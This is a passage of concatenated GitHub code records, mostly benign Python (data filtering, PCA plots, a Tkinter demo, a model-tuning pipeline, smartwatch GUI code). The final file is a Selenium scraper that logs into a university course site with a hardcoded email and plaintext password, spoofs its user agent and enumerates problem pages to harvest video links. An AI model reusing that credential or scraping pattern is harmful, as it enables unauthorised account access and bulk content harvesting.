lambda row: get_max_severity(row, casualty_type), axis=1\n )\n\n # remove unrequired cols\n recalculated_severities.drop(columns=[0], inplace=True)\n\n return recalculated_severities\n\n\ndef main():\n\n # read in data processing params from params.yaml\n params = yaml.load(open(\"params.yaml\", 'r'), Loader=Loader)\n\n print('Reading in data')\n collisions = pd.read_csv('data/collisions.csv', low_memory=False)\n casualties = pd.read_csv('data/casualties.csv', low_memory=False)\n\n # filter to junctions\n print('Filter to Junctions')\n junction_types = params['valid_junction_types']\n\n mask = collisions.junction_detail.isin(junction_types)\n collisions = collisions.loc[mask, :]\n\n # pull out all cyclist and pedestrian crash ids\n valid_crash_ids = casualties[\n casualties['mode_of_travel'].isin(params['valid_casualty_types'])\n ]['collision_id'].unique()\n\n print(f'Filter to cyclist & pedestrian collisions, {len(valid_crash_ids)} crash IDs in data')\n\n collisions = collisions[collisions.collision_id.isin(valid_crash_ids)]\n casualties = casualties[casualties.collision_id.isin(valid_crash_ids)]\n\n print('Recalculate severities and danger metrics')\n min_year = min(collisions['year'])\n recalculated_cyclist_severities = recalculate_severity(casualties, 'pedal_cycle')\n recalculated_pedestrian_severities = recalculate_severity(casualties, 'pedestrian')\n\n # # join back to the datasets with severity in it\n collisions = (\n collisions\n .merge(recalculated_cyclist_severities, how='left', on='collision_id')\n .merge(recalculated_pedestrian_severities, how='left', on='collision_id')\n )\n \n collisions['recency_weight'] = collisions.apply(\n lambda row: get_recency_weight(row, min_year), axis=1\n )\n\n collisions.loc[:, 'is_cyclist_collision'] = False\n collisions.loc[:, 'is_pedestrian_collision'] = False\n collisions.loc[~collisions['max_cyclist_severity'].isnull(), 'is_cyclist_collision'] = True\n collisions.loc[~collisions['max_pedestrian_severity'].isnull(), 'is_pedestrian_collision'] = True\n\n print('Example data')\n print(collisions)\n\n print('Cyclist collisions per year check')\n print(\n collisions[collisions['is_cyclist_collision']]\n .groupby('year')\n ['collision_id']\n .nunique()\n )\n\n print('Pedestrian collisions per year check')\n print(\n collisions[collisions['is_pedestrian_collision']]\n .groupby('year')\n ['collision_id']\n .nunique()\n )\n\n # output csvs\n print('Output to csv')\n collisions.to_csv('data/pedestrian-and-cyclist-collisions.csv', index=False)\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"danielhills/lcc-dangerous-junctions","sub_path":"src/02-filter-data.py","file_name":"02-filter-data.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19305184007","text":"import string\n\nimport torch\nfrom adjustText import adjust_text\nfrom torch_scatter import scatter_add\nfrom mpl_toolkits import mplot3d\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn.decomposition import PCA\n\nfrom data.dataset import WN18RR, FB15Dataset, Ivy\nfrom dataloader import DataLoader\n\n\ndef compute_pca(embeddings):\n pca_2 = PCA(n_components=2)\n embeddings_results = pca_2.fit_transform(embeddings.cpu().numpy())\n return embeddings_results\n\n\ndef compute_model_analyses(enitiy, relation, edges):\n pca_entity = compute_pca(enitiy)\n pca_relation = compute_pca(relation)\n pca_edges = compute_pca(edges)\n return pca_entity, pca_relation, pca_edges\n\n\ndef pca2plots(pca_initial, pca_encoder, pca_decoder, space, colors=None, description=None,\n cmap='gist_rainbow', over_plot=False, labels=None):\n fig, (ax1, ax2, ax3) = plt.subplots(1, 3, gridspec_kw={'width_ratios': [6, 6, 7]}, figsize=(30, 10))\n plt.figure()\n\n if not over_plot:\n ax1.scatter(pca_initial[:, 0], pca_initial[:, 1], c=colors, cmap=cmap, )\n ax2.scatter(pca_encoder[:, 0], pca_encoder[:, 1], c=colors, cmap=cmap)\n sc3 = ax3.scatter(pca_decoder[:, 0], pca_decoder[:, 1], c=colors, cmap=cmap)\n else:\n ax1.scatter(pca_initial[:, 0], pca_initial[:, 1], c=colors, cmap=cmap, marker='.', lw=0, alpha=0.3)\n ax2.scatter(pca_encoder[:, 0], pca_encoder[:, 1], c=colors, cmap=cmap, marker='.', lw=0, alpha=0.3)\n sc3 = ax3.scatter(pca_decoder[:, 0], pca_decoder[:, 1], c=colors, cmap=cmap, marker='.', lw=0, alpha=0.3)\n\n # set subtitles\n ax1.set_title('Initial', fontsize=24)\n ax2.set_title('Encoder', fontsize=24)\n ax3.set_title('Decoder', fontsize=24)\n\n cbar = fig.colorbar(sc3)\n cbar.set_label(description, fontsize=24)\n\n fig.suptitle('2D PCA over ' + space + ' embeddings', fontsize=28)\n\n if labels is not None:\n texts1 = []\n texts2 = []\n texts3 = []\n for i, label in enumerate(labels):\n txt = ax1.text(pca_initial[i, 0], pca_initial[i, 1], label)\n texts1.append(txt)\n txt = ax2.text(pca_encoder[i, 0], pca_encoder[i, 1], label)\n texts2.append(txt)\n txt = ax3.text(pca_decoder[i, 0], pca_decoder[i, 1], label)\n texts3.append(txt)\n\n adjust_text(texts1, ax=ax1)\n adjust_text(texts2, ax=ax2)\n adjust_text(texts3, ax=ax3)\n\n fig.savefig('2DPCA_' + space + '.pdf', format='pdf')\n print('done')\n\n\ndef get_edge_embeddings(h, g, row, rel_type, col):\n h_ijk = torch.cat([h[row, :], h[col, :], g[rel_type, :]], dim=1)\n return h_ijk\n\n\ndef get_degree(n, row, col):\n edges = torch.cat([torch.ones(row.shape[0]).long(), torch.zeros(n).long()], dim=-1)\n col = torch.cat([col, torch.tensor([i for i in range(n)])], dim=-1)\n row = torch.cat([row, torch.tensor([i for i in range(n)])], dim=-1)\n\n in_deg = scatter_add(edges, col)\n out_deg = scatter_add(edges, row)\n deg = in_deg + out_deg\n return deg.numpy()\n\n\ndef get_rel_frequency(rel):\n edges = torch.ones(rel.shape[0]).long()\n freq = scatter_add(edges, rel)\n return freq\n\n\ndef analyse(pca_initial, pca_encoder, pca_decoder, space, colors, desc, over_plot=False, cmap='gist_rainbow',\n labels=None):\n pca2plots(pca_initial, pca_encoder, pca_decoder, space, colors, description=desc, cmap=cmap, over_plot=over_plot,\n labels=labels)\n\n\nif __name__ == '__main__':\n dataset = WN18RR()\n data_dir = './data/WN18RR/simple_merge'\n\n ldr = DataLoader(dataset)\n row, rel_type, col = dataset.get_valid_triplets()\n deg = get_degree(dataset.n, row, col)\n freq = get_rel_frequency(rel_type)\n\n deg = np.log(deg)\n freq = np.log(freq)\n\n file_encoder = data_dir + '/encoder_final.pth'\n file_decoder = data_dir + '/decoder_final.pth'\n\n encoder = torch.load(file_encoder)\n decoder = torch.load(file_decoder)\n\n # Analyse initial embeddings\n h_initial, g_initial, _ = ldr.load_train()\n edges_initial = get_edge_embeddings(h_initial, h_initial, row, rel_type, col)\n pca_entity_initial, pca_relation_initial, pca_edges_initial = compute_model_analyses(h_initial, g_initial,\n edges_initial)\n\n # Analyse encoder embeddings\n g_encoder = encoder['final_relation_embeddings']\n h_encoder = encoder['final_entity_embeddings']\n edges_encoder = get_edge_embeddings(h_encoder, g_encoder, row, rel_type, col)\n pca_entity_encoder, pca_relation_encoder, pca_edges_encoder = compute_model_analyses(h_encoder, g_encoder,\n edges_encoder)\n\n # Analyse decoder embeddings\n g_decoder = decoder['final_relation_embeddings']\n h_decoder = decoder['final_entity_embeddings']\n edges_decoder = get_edge_embeddings(h_decoder, g_decoder, row, rel_type, col)\n pca_entity_decoder, pca_relation_decoder, pca_edges_decoder = compute_model_analyses(h_decoder, g_decoder,\n edges_decoder)\n\n # get labels\n rel_mapper = dataset.load_mapper()\n\n analyse(pca_entity_initial, pca_entity_encoder, pca_entity_decoder, 'entity', deg, 'Node degree in log space',\n cmap='RdYlGn',\n over_plot=True)\n\n labels = []\n for key in rel_mapper.keys():\n label = rel_mapper[key]\n # label = label.replace('java.', '')\n # label = label.replace('definition', 'def')\n labels.append(label)\n print(rel_mapper[key] + ' -> ' + label)\n\n # analyse(pca_relation_initial, pca_relation_encoder, pca_relation_decoder, 'relation', freq,\n # 'Relation frequency in log space',\n # cmap='jet',\n # over_plot=False,\n # labels=labels\n # )\n\n analyse(pca_edges_initial, pca_edges_encoder, pca_edges_decoder, 'edges', rel_type.cpu().numpy(),\n 'Discrete relation color mapping',\n over_plot=True)\n","repo_name":"TraianVidrascu/DGAT","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":6086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35970917535","text":"# -*- coding: utf-8 -*-\n# Date: 2021/06/01\n\nfrom tkinter import *\n\nwindow = Tk()\nwindow.title(\"test\")\n\nlab1 = Label(window, text=\"安徽理工大学\",\n bg=\"lightyellow\",\n width=15) # 浅黄色\nlab2 = Label(window, text=\"中国科学技术大学\",\n bg=\"lightgreen\",\n width=15) # 浅绿色\nlab3 = Label(window, text=\"合肥工业大学\",\n bg=\"lightblue\",\n width=15) # 浅蓝色\n\n# lab1.pack(fill=X, pady=10)\n# lab2.pack(pady=10)\n# lab3.pack(fill=X)\n\n# padx/y: 控件和窗口或控件与控件之间的距离\n# ipadx/y: 控制标签文字和标签容器的间距\nlab1.pack(side=LEFT)\nlab2.pack(side=LEFT, padx=50)\nlab3.pack(side=LEFT)\n\nwindow.mainloop()\n","repo_name":"yang-12345678/GUI-Tkinter","sub_path":"ch2_Widget Layout Manager/03_pack2.py","file_name":"03_pack2.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11493477899","text":"import os\nimport joblib\nimport json\n\nimport hydra\nfrom sklearn.model_selection import StratifiedKFold, train_test_split\nfrom omegaconf import open_dict\nimport numpy as np\n\nimport train\nfrom tune import run_optimization, get_tune_args\nfrom src.utils.load_data_utils import get_data\nfrom src.utils.metrics import apply_all_metrics\nfrom src.tune_src.tune_utils import timestring\n\n\nimport pandas as pd\ndef load_df(path, clinical, blood, sparse_img, precipitals):\n df = pd.read_csv(path).drop(columns=['POCD'])\n if not blood:\n # drop all columns that start with \"blood_\"\n df = df.drop(columns=df.filter(regex='^blood_'))\n if not clinical:\n # drop all columns that start with \"clinical_\"\n df = df.drop(columns=df.filter(regex='^clinical_'))\n if not sparse_img:\n # drop all columns that start with \"sparse_img_\"\n df = df.drop(columns=df.filter(regex='^sparse_img_'))\n if not precipitals:\n # drop all columns that start with \"precipitals_\"\n df = df.drop(columns=df.filter(regex='^precipitals_'))\n \n return df\n\ndef split_in_out(df):\n x = df.drop(columns=['POD']).to_numpy()\n y = df['POD'].to_numpy()\n feature_names = df.drop(columns=[\"POD\"]).columns.tolist()\n return x, y, feature_names\n\n\n@hydra.main(config_path=\"configs\", config_name=\"eval_tune\")\ndef main(cfg):\n # keep original working directory for mlflow etc\n os.chdir(hydra.utils.get_original_cwd())\n # Get path to save results\n eval_tune_folder = 'results_eval_tune'\n time_str = timestring()\n subfolder_name = f'{time_str}_{cfg.model}_{cfg.nt // 1000}k_' \\\n f'{cfg.nf_outer}_{cfg.nf_inner}_{cfg.dts}_{cfg.use_yeo_johnson}_{cfg.quantile_val}_{cfg.fill_mode}'\n path = os.path.join(eval_tune_folder, subfolder_name)\n os.makedirs(path, exist_ok=True)\n # Save eval_tune hyperparams\n joblib.dump(cfg, os.path.join(path, \"cfg.pkl\"))\n print(\"Saving to \", subfolder_name)\n\n # Get tune cfg and overwrite some tune settings\n with open_dict(cfg):\n nf_outer = cfg.pop('nf_outer')\n cfg['tune_model'] = cfg.pop('model')\n mode = cfg.pop(\"mode\")\n \n tune_cfg, train_cfg = get_tune_args(override_dict=cfg)\n\n # Load data once to determine splits\n dts = cfg['dts']\n blood = 'blood' in dts\n clinical = 'clinical' in dts\n #imaging_pca = 'imaging_pca' in dts\n #imaging = ('imaging' in dts) and not imaging_pca\n sparse_img = 'sparse_img' in dts\n precipitals = 'precipitals' in dts\n\n # Load data\n data = load_df(\"data/merged_df.csv\", clinical, blood, sparse_img, precipitals)\n x_all, y_all, feature_names = split_in_out(data)\n\n skf = StratifiedKFold(n_splits=nf_outer, shuffle=True)\n \n # save some test patients in JSON\n debug_dir = \"debug/test_patients\"\n os.makedirs(debug_dir, exist_ok=True)\n for i in range(5):\n x = x_all[i]\n input_dict = {feature_names[i]: x[i] for i in range(len(feature_names))}\n with open(os.path.join(debug_dir, f\"{i}.json\"), \"w+\") as f:\n json.dump(input_dict, f)\n \n # determine mode\n # mode 0: do not make hold-out split (do it for all other modes)\n # mode 1: tune N times\n # mode 2: tune once, then train on N different splits\n # mode 3: tune once, then train on one split N times\n tune_all = True\n if mode == 0: \n splits = skf.split(x_all, y_all)\n x_holdout, y_holdout = None, None\n else:\n # make hold-out split\n idcs = list(range(len(x_all)))\n x_all_idcs, holdout_idcs = train_test_split(idcs, test_size=0.1, random_state=42)\n x_holdout, y_holdout = x_all[holdout_idcs], y_all[holdout_idcs]\n x_no_holdout, y_no_holdout = x_all[x_all_idcs], y_all[x_all_idcs]\n print(\"All shape after holdout:\", x_all.shape)\n print(\"Holdout shape:\", x_holdout.shape)\n \n splits = list(skf.split(x_no_holdout, y_no_holdout))\n if mode == 2:\n tune_all = False\n elif mode == 3:\n splits = [splits[0] for _ in range(len(splits))]\n tune_all = False\n \n x_all_idcs = np.array(x_all_idcs)\n splits = [(x_all_idcs[split[0]], x_all_idcs[split[1]]) for split in splits]\n \n trained_models = []\n store_lists = []\n score_dicts = []\n for split_idx, (dev_idcs, test_idcs) in enumerate(splits):\n y_dev, y_test = y_all[dev_idcs], y_all[test_idcs]\n x_dev, x_test = x_all[dev_idcs], x_all[test_idcs]\n # Run hyperparameter tuning:\n if tune_all or split_idx == 0:\n value, hyperparams, trial, best_train_args = run_optimization(x=x_dev, y=y_dev, feature_names=feature_names,\n train_args=train_cfg,\n **tune_cfg)\n \n print(value, hyperparams, best_train_args)\n # Set training hyperparams to best hyperparams found during tuning\n \"\"\"\n if cfg['df'] == 'opt':\n yeo = hyperparams.pop('yeo')\n norm_method = hyperparams.pop('norm')\n fill_method = hyperparams.pop('fill')\n remove_outliers = hyperparams.pop('remove_outs')\n train_cfg.df = out_dir_name(yeo, norm_method, fill_method, remove_outliers, 0)\n train_cfg.miss_feats = hyperparams.pop('miss_feats')\n \"\"\"\n for key, val in best_train_args.items():\n train_cfg[key] = val\n # Based on best hyperparams, validate on test data:\n eval_score, y_pred_logits, y_pred_binary, y_true, trained_model, preprocessor = train.start_training(x_dev, y_dev, x_test, y_test, feature_names,\n #test_idcs=test_idcs,\n return_preds=True,\n **train_cfg)\n print(\"Test set score: \", eval_score)\n y_pred_logits, y_pred_binary, y_true = y_pred_logits[0], y_pred_binary[0], y_true[0]\n # logits from numpy arrays to lists\n y_pred_logits, y_pred_binary, y_true = y_pred_logits.tolist(), y_pred_binary.tolist(), y_true.tolist()\n score_dict = apply_all_metrics(y_true, y_pred_binary, y_pred_logits, shape_is_correct=True)\n\n # create folder\n os.makedirs(os.path.join(path, f'{split_idx}'), exist_ok=True)\n # store all info\n store_list = [train_cfg, eval_score, score_dict, y_pred_logits, y_pred_binary, y_true, feature_names, trained_model]\n joblib.dump(store_list, os.path.join(path, f'{split_idx}/everything.pkl'))\n\n def store_json(path, obj):\n with open(path, \"w+\") as f:\n json.dump(obj, f)\n # store cfg with joblib\n joblib.dump(cfg, os.path.join(path, f'{split_idx}/cfg.pkl'))\n # store hyperparams\n store_json(os.path.join(path, f'{split_idx}/hyperparams.json'), hyperparams)\n # store best hyperparams\n joblib.dump(best_train_args, os.path.join(path, f'{split_idx}/best_train_args.pkl'))\n # store results\n store_json(os.path.join(path, f'{split_idx}/results.json'), score_dict)\n # store predictions\n store_json(os.path.join(path, f'{split_idx}/predictions.json'), {'y_pred_logits': y_pred_logits, 'y_pred_binary': y_pred_binary, 'y_true': y_true})\n # store feature names\n store_json(os.path.join(path, f'{split_idx}/feature_names.json'), feature_names)\n # store trained model (if xgboost store it without pickle)\n import xgboost\n if isinstance(trained_model, xgboost.XGBClassifier):\n trained_model.save_model(os.path.join(path, f'{split_idx}/model.json'))\n joblib.dump(trained_model, os.path.join(path, f'{split_idx}/model.pkl'))\n # store preprocessor\n joblib.dump(preprocessor, os.path.join(path, f'{split_idx}/preprocessor.pkl'))\n\n\n store_lists.append(store_list)\n trained_models.append(trained_model)\n score_dicts.append(score_dict)\n\n # summarize score dicts\n score_dicts = pd.DataFrame(score_dicts)\n score_dicts.to_csv(os.path.join(path, 'score_dicts.csv'))\n # calculate mean and std of score dicts\n mean_scores = score_dicts.mean()\n std_scores = score_dicts.std()\n # put mean and std in same df\n mean_std_scores = pd.concat([mean_scores, std_scores], axis=1)\n mean_std_scores.columns = [\"mean\", \"std\"]\n # save df\n mean_std_scores.to_csv(os.path.join(path, 'mean_std_scores.csv'))\n\n # validate splits on holdout set\n if x_holdout is not None:\n #from src.utils.metrics import create_preds_and_reshape\n from sklearn.metrics import roc_auc_score, average_precision_score\n\n # get predicted logits for all models\n y_pred_logits_list = [model.predict_proba(x_holdout) for model in trained_models]\n y_pred_logits_list = [logit if len(logit.shape) == 1 else logit[:, 1] for logit in y_pred_logits_list]\n # calculate score per model\n aps = [average_precision_score(y_holdout, logits) for logits in y_pred_logits_list]\n aucs = [roc_auc_score(y_holdout, logits) for logits in y_pred_logits_list]\n mean_ap, std_ap = np.mean(aps), np.std(aps)\n mean_auc, std_auc = np.mean(aucs), np.std(aucs)\n print(\"Individual performances:\")\n print(\"AP: \", aps, mean_ap, std_ap)\n print(\"AUC: \", aucs, mean_auc, std_auc)\n # calculate score for ensemble\n mean_logits = np.mean(y_pred_logits_list, axis=0)\n ap = average_precision_score(y_holdout, mean_logits)\n auc = roc_auc_score(y_holdout, mean_logits)\n print(\"Ensemble performance:\")\n print(\"AP/AUC: \", ap, auc)\n \n perf_dict = {\"APs\": aps, \"AUCs\": aucs, \"mean_AP\": mean_ap, \"std_AP\": std_ap,\n \"mean_AUC\": mean_auc, \"std_AUC\": std_auc, \"ens_AP\": ap, \"ens_AUC\": auc}\n with open(os.path.join(path, \"holdout_eval.json\"), \"w+\") as f:\n json.dump(perf_dict, f)\n \n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"adalab-ai/POD_prediction","sub_path":"eval_tune.py","file_name":"eval_tune.py","file_ext":"py","file_size_in_byte":10278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22987829068","text":"#!/opt/bin/lv_micropython -i\nimport lvgl as lv\nfrom lv_colors import lv_colors\nfrom constants import Constants\nfrom micropython import const\nfrom gui.icon import Icon\n\nclass App():\n def __init__(self,mainbar):\n try:\n import ulogging as logging\n except:\n import logging\n self.log = logging.getLogger(\"App\")\n self.log.setLevel(logging.DEBUG)\n\n self.app_icon_data = [None]*Constants.MAX_APPS_ICON\n self.app_icon_dsc = [None]*Constants.MAX_APPS_ICON \n\n self.indicator_icon_data = [None]*Icon.MAX_INDICATOR\n self.indicator_icon_dsc = [None]*Icon.MAX_INDICATOR\n self.indicator_filenames=[\"info_ok_16px\",\"info_1_16px\",\"info_2_16px\",\"info_3_16px\",\"info_n_16px\",\n \"info_fail_16px\",\"info_update_16px\"] \n self.mainbar = mainbar\n # read all the indicator image files\n for i in range(Icon.MAX_INDICATOR):\n self.get_indicator_image(self.indicator_filenames[i],i)\n \n \n def register(self,app_name, icon_filename, event_cb):\n self.app_tile = self.mainbar.gui.app_tile\n self.log.debug(\"register \" + app_name + \" with icon filename \" + icon_filename)\n app = self.app_tile.get_free_app_icon()\n if app == None:\n return\n else:\n self.log.debug(\"Icon successfully registered\")\n \n app.active = True # reserve the icon\n # setup label\n app.label.set_text(app_name)\n \n app.label.align(app.cont, lv.ALIGN.OUT_BOTTOM_MID, 0, 0 )\n app.label.set_align(lv.label.ALIGN.CENTER );\n app.cont.set_hidden(False)\n app.label.set_hidden(False)\n #\n # setup icon and set event callback\n # create the img buttons allowing to start the apps\n #\n app_style = lv.style_t()\n app_style.copy(self.mainbar.get_style())\n #\n # create the imgbtn\n #\n app.icon_img = lv.imgbtn(app.cont,None)\n \n (app.icon_img_data,app.icon_img_dsc) = self.get_app_image(icon_filename)\n app.icon_img.set_src(lv.btn.STATE.RELEASED,app.icon_img_dsc)\n app.icon_img.set_src(lv.btn.STATE.PRESSED,app.icon_img_dsc)\n app.icon_img.set_src(lv.btn.STATE.CHECKED_RELEASED,app.icon_img_dsc)\n app.icon_img.set_src(lv.btn.STATE.CHECKED_PRESSED,app.icon_img_dsc)\n app.icon_img.reset_style_list(lv.obj.PART.MAIN)\n app.icon_img.align(app.cont, lv.ALIGN.IN_TOP_LEFT, 0, 0 )\n app.icon_img.set_event_cb(event_cb)\n self.log.debug(\"imgbtn position: %d,%d\"%(app.x,app.y)) \n self.mainbar.add_slide_element( app.icon_img )\n\n # setup the indicator\n app.indicator = lv.img(app.cont,None)\n app.indicator.align(app.cont, lv.ALIGN.IN_TOP_LEFT, 0, 0 )\n app.indicator.set_hidden(True)\n \n lv.obj.invalidate( lv.scr_act() )\n return app\n\n def set_indicator(self,app,indicator_type):\n if not app.active:\n return\n self.log.debug(\"set indicator %s\"%self.indicator_filenames[indicator_type])\n app.indicator.set_src(self.indicator_icon_dsc[indicator_type])\n app.indicator.align(app.cont, lv.ALIGN.IN_TOP_RIGHT, 0, 0 )\n app.indicator.set_hidden(False)\n lv.obj.invalidate(lv.scr_act())\n \n \n def get_app_image(self,filename):\n\n try:\n sdl_filename = 'images/' + filename + \"_argb8888.bin\"\n self.log.debug('sdl filename: ' + sdl_filename)\n with open(sdl_filename,'rb') as f:\n app_icon_data = f.read()\n self.log.debug(sdl_filename + \" successfully read\")\n except:\n twatch_filename = 'images/' + filename + \"_argb565.bin\"\n self.log.debug('t-watch filename: ' + twatch_filename)\n try:\n with open(twatch_filename,'rb') as f:\n app_icon_data = f.read()\n self.log.debug(twatch_filename + \" successfully read\")\n \n except:\n self.log.error(\"Could not find image file: \" + filename) \n\n icon_dsc = lv.img_dsc_t(\n {\n \"header\": {\"always_zero\": 0, \"w\": 64, \"h\": 64, \"cf\": lv.img.CF.TRUE_COLOR_ALPHA},\n \"data\": app_icon_data,\n \"data_size\": len(app_icon_data),\n }\n )\n return (app_icon_data,icon_dsc)\n \n def get_indicator_image(self,filename,indicator_type):\n\n try:\n sdl_filename = 'images/' + filename + \"_argb8888.bin\"\n self.log.debug('sdl filename: ' + sdl_filename)\n with open(sdl_filename,'rb') as f:\n self.indicator_icon_data[indicator_type] = f.read()\n self.log.debug(sdl_filename + \" successfully read\")\n except:\n twatch_filename = 'images/' + filename + \"_argb565.bin\"\n self.log.debug('t-watch filename: ' + twatch_filename)\n try:\n with open(twatch_filename,'rb') as f:\n self.indicator_icon_data[indicator_type] = f.read()\n self.log.debug(twatch_filename + \" successfully read\")\n \n except:\n self.log.error(\"Could not find image file: \" + filename) \n\n self.indicator_icon_dsc[indicator_type] = lv.img_dsc_t(\n {\n \"header\": {\"always_zero\": 0, \"w\": 16, \"h\": 16, \"cf\": lv.img.CF.TRUE_COLOR_ALPHA},\n \"data\": self.indicator_icon_data[indicator_type],\n \"data_size\": len(self.indicator_icon_data[indicator_type]),\n }\n )\n\n return \n \n","repo_name":"uraich/twatch2020_firmware","sub_path":"src/gui/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5705,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"31472454812","text":"import logging\nimport sys\nfrom pathlib import Path\nimport datetime\n\ntoday = f'%s' % datetime.date.today()\n\nlogger = logging.getLogger(\"binance_demo\")\nlogger.setLevel(logging.INFO)\n\nformatter = logging.Formatter(\n fmt=\"%(asctime)s %(name)s %(levelname)s %(pathname)s %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\"\n)\nlog_path = Path(__file__).parent.parent.joinpath(\"log_file\\\\binance_demo-%s.log\" % today).resolve()\n\nfile_handler = logging.FileHandler(log_path, encoding='utf-8')\nfile_handler.setFormatter(formatter)\nstream_handler = logging.StreamHandler(sys.stdout)\nstream_handler.setFormatter(formatter)\n\nlogger.addHandler(file_handler)\nlogger.addHandler(stream_handler)\n","repo_name":"feizei2008/binance_demo","sub_path":"utils/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40333185202","text":"'''\r\nFile: crabs.py\r\nAuthor: Gurjinder Singh\r\nDate: 9/25/2020\r\nSection: 53\r\nE-mail: gsingh10@umbc.edu\r\nDescription: sorting crabs and while loops\r\n\r\n'''\r\n\r\ndef main():\r\n allcrabs = []#all crabs user inputs\r\n lower = []#lower than user considerd number\r\n higher = []#higher than user considerd number\r\n userIn = \"\"\r\n light = 0#Used for sorting between high and lower algorithm\r\n lout = \"\"#output for lower than weight\r\n hout = \"\"#output for heigher than weight\r\n while userIn != \"STOP\":#Get user data for crabs\r\n userIn = input(\"Enter crab weight, (STOP to end) \")\r\n if userIn != \"STOP\":\r\n allcrabs.append(int(userIn) + .0)\r\n\r\n while (userIn != \"light\") and (userIn != \"heavy\"):#Validate user input for weight of crabs\r\n userIn = input(\"Do you want to keep light or heavy crabs? \")\r\n if userIn != \"light\" and userIn != \"heavy\":\r\n print(\"You must enter light or heavy\")\r\n if userIn == \"light\":\r\n light = 1\r\n elif userIn == \"heavy\":\r\n light = 0\r\n userIn = input(\"What weight determines if the crab is light or heavy? \")\r\n if light == 1:#computation for lower than weight crabs\r\n for i in allcrabs:\r\n if int(i) < int(userIn):\r\n lower.append(i)\r\n elif int(i) >= int(userIn):\r\n higher.append(i)\r\n for i in lower:\r\n (lout) = lout + (str(i) + \", \")\r\n for i in higher:\r\n hout = hout + (str(i) + \", \")\r\n print(\"You are keeping the crabs with wights [\" + lout + \"]\")\r\n print(\"You are not keeping the crabs with weights [\" + hout + \"]\")\r\n elif light == 0:#computation for heigher than weight crabs\r\n for i in allcrabs:\r\n if int(i) > int(userIn):\r\n higher.append(i)\r\n elif int(i) <= int(userIn):\r\n lower.append(i)\r\n for i in lower:\r\n lout = lout + (str(i) + \", \")\r\n for i in higher:\r\n hout = hout + (str(i) + \", \")\r\n print(\"You are keeping the crabs with wights [\" + hout + \"]\")\r\n print(\"You are not keeping the crabs with weights [\" + lout + \"]\")\r\n\r\n\r\n\r\n\r\n\r\nmain()","repo_name":"gsingh2124/CMSC-201","sub_path":"Labs/lab4/crabs.py","file_name":"crabs.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15143651386","text":"import requests\nimport json\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport os\nimport csv\nimport time\nimport sys\nimport urllib.request\nfrom datetime import date\nfrom htmldate import find_date\nfrom dotenv import load_dotenv\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import StaleElementReferenceException\nfrom json import JSONDecoder\nfrom fake_user_agent import user_agent\n#from user_agent import random_header\n\n# set url\nurl = 'https://smart.physics.illinois.edu/'\n\n# call open browser function\nchrome_options = Options()\nchrome_options.add_argument(\"--window-size=1920,1080\")\nchrome_options.headless = False\nchrome_options.add_argument(\"--disable-dev-shm-usage\")\nchrome_options.add_argument(\"--no-sandbox\")\nprefs = {\"profile.managed_default_content_settings.images\": 2}\nchrome_options.add_experimental_option(\"prefs\", prefs)\nua = user_agent()\n# userAgent = ua.random()\nchrome_options.add_argument(f'user-agent={ua}')\ndriver = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_options)\ndriver.get(url)\n\n# Input Username\nusername = WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.XPATH, \"//*[@type='email']\")))\nusername.send_keys(\"dtzhou2@illinois.edu\")\ndriver.find_element(By.XPATH, \"//*[@type='submit']\").click()\n\n# Input Password\npassword = WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.XPATH, \"//*[@type='password']\")))\npassword.send_keys('CNvpnJVTFuUn6Qa')\ndriver.find_element(By.XPATH, \"//*[@type='submit']\").click()\n\n# Automated scraping of all the physics tests here\ndownloadLinks = dict()\nspreadsheet_index = []\n\n# Scrape information about each page\n# 245552\n\nfor num in range (245700, 246000, 1):\n try:\n # print(f'https://smart.physics.illinois.edu/Course/ViewProblem?unitItemID={num}&enrollmentID=115235')\n page = driver.get(f'https://smart.physics.illinois.edu/Course/ViewProblem?unitItemID={num}&enrollmentID=115235')\n title = driver.title\n q_number = driver.find_element(By.XPATH, \"//*[@class='problem-title ']\").text\n try:\n offset = int(q_number[0:2])\n except ValueError:\n offset = 0\n print(num)\n videos = driver.find_elements(By.XPATH, \"//iframe\")\n videos = driver.find_elements(By.XPATH, \"//source\")\n questions = driver.find_elements(By.XPATH, \"//*[@class='qnum']\")\n append = True if title in downloadLinks else False\n # print(videos)\n # print(questions)\n\n for video, question in zip(videos, questions):\n print('hello')\n video = video.get_attribute(\"src\")\n question = offset+(int(question.text[0:1])-1)\n # print(video)\n # print(question)\n filename = (question, video)\n # print(filename)\n spreadsheet_index.append(question)\n if append:\n downloadLinks[title].append(filename[1])\n else:\n downloadLinks[title] = [filename[1]]\n append = not(append)\n except NoSuchElementException:\n num += 1\n\ndef pad_dict_list(dict_list, padel):\n lmax = 0\n for lname in dict_list.keys():\n lmax = max(lmax, len(dict_list[lname]))\n for lname in dict_list.keys():\n ll = len(dict_list[lname])\n if ll < lmax:\n dict_list[lname] += [padel] * (lmax - ll)\n return 